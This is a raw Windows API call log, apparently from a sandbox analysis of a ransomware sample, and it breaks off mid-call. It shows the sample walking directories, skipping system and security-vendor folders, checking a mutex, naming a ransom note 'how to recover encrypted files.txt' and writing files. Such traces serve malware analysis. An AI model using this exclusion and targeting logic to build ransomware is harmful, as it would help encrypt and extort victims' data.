MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18셤R\x18j")) returned 0xffffffff [0052.995] GetLastError () returned 0x2 [0052.995] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0052.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0052.995] GetLastError () returned 0x2 [0052.995] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0052.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RP") returned 6 [0052.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0053.000] GetLastError () returned 0x2 [0053.000] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0053.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.001] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0053.001] GetLastError () returned 0x2 [0053.001] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0053.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.001] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0053.001] GetLastError () returned 0x2 [0053.001] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0053.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0053.002] GetLastError () returned 0x2 [0053.002] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.002] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0053.002] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0053.002] GetLastError () returned 0x2 [0053.002] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.002] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0053.002] GlobalLock (hMem=0x440004) returned 0x550170 [0053.003] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.003] GlobalUnlock (hMem=0x440004) returned 0 [0053.003] GlobalLock (hMem=0x440004) returned 0x550170 [0053.003] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.003] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.003] GlobalUnlock (hMem=0x440004) returned 0 [0053.003] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.003] GlobalUnlock (hMem=0x44000c) returned 0 [0053.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.003] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0053.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.003] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0053.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0053.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.003] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.003] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0053.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4b8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.004] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.004] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.004] GlobalUnlock (hMem=0x44000c) returned 0 [0053.004] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.004] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.004] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.004] GlobalUnlock (hMem=0x44000c) returned 0 [0053.004] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.004] GlobalUnlock (hMem=0x440004) returned 0 [0053.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0053.005] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0053.005] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0053.005] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.005] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.005] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0053.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0053.006] GlobalLock (hMem=0x440004) returned 0x550170 [0053.006] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.006] GlobalUnlock (hMem=0x440004) returned 0 [0053.006] GlobalLock (hMem=0x440004) returned 0x550170 [0053.006] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.006] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.006] GlobalUnlock (hMem=0x440004) returned 0 [0053.006] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.006] GlobalUnlock (hMem=0x44000c) returned 0 [0053.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.006] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.006] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.006] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.006] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.006] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.006] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.006] GlobalUnlock (hMem=0x44000c) returned 0 [0053.006] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.006] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.006] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.006] GlobalUnlock (hMem=0x44000c) returned 0 [0053.006] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.006] GlobalUnlock (hMem=0x440004) returned 0 [0053.006] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.007] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0053.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0053.007] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.007] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.007] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.007] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.007] GlobalUnlock (hMem=0x440004) returned 0 [0053.007] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.007] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.007] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.007] GlobalUnlock (hMem=0x440004) returned 0 [0053.007] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.007] GlobalUnlock (hMem=0x44000c) returned 0 [0053.007] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.008] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, 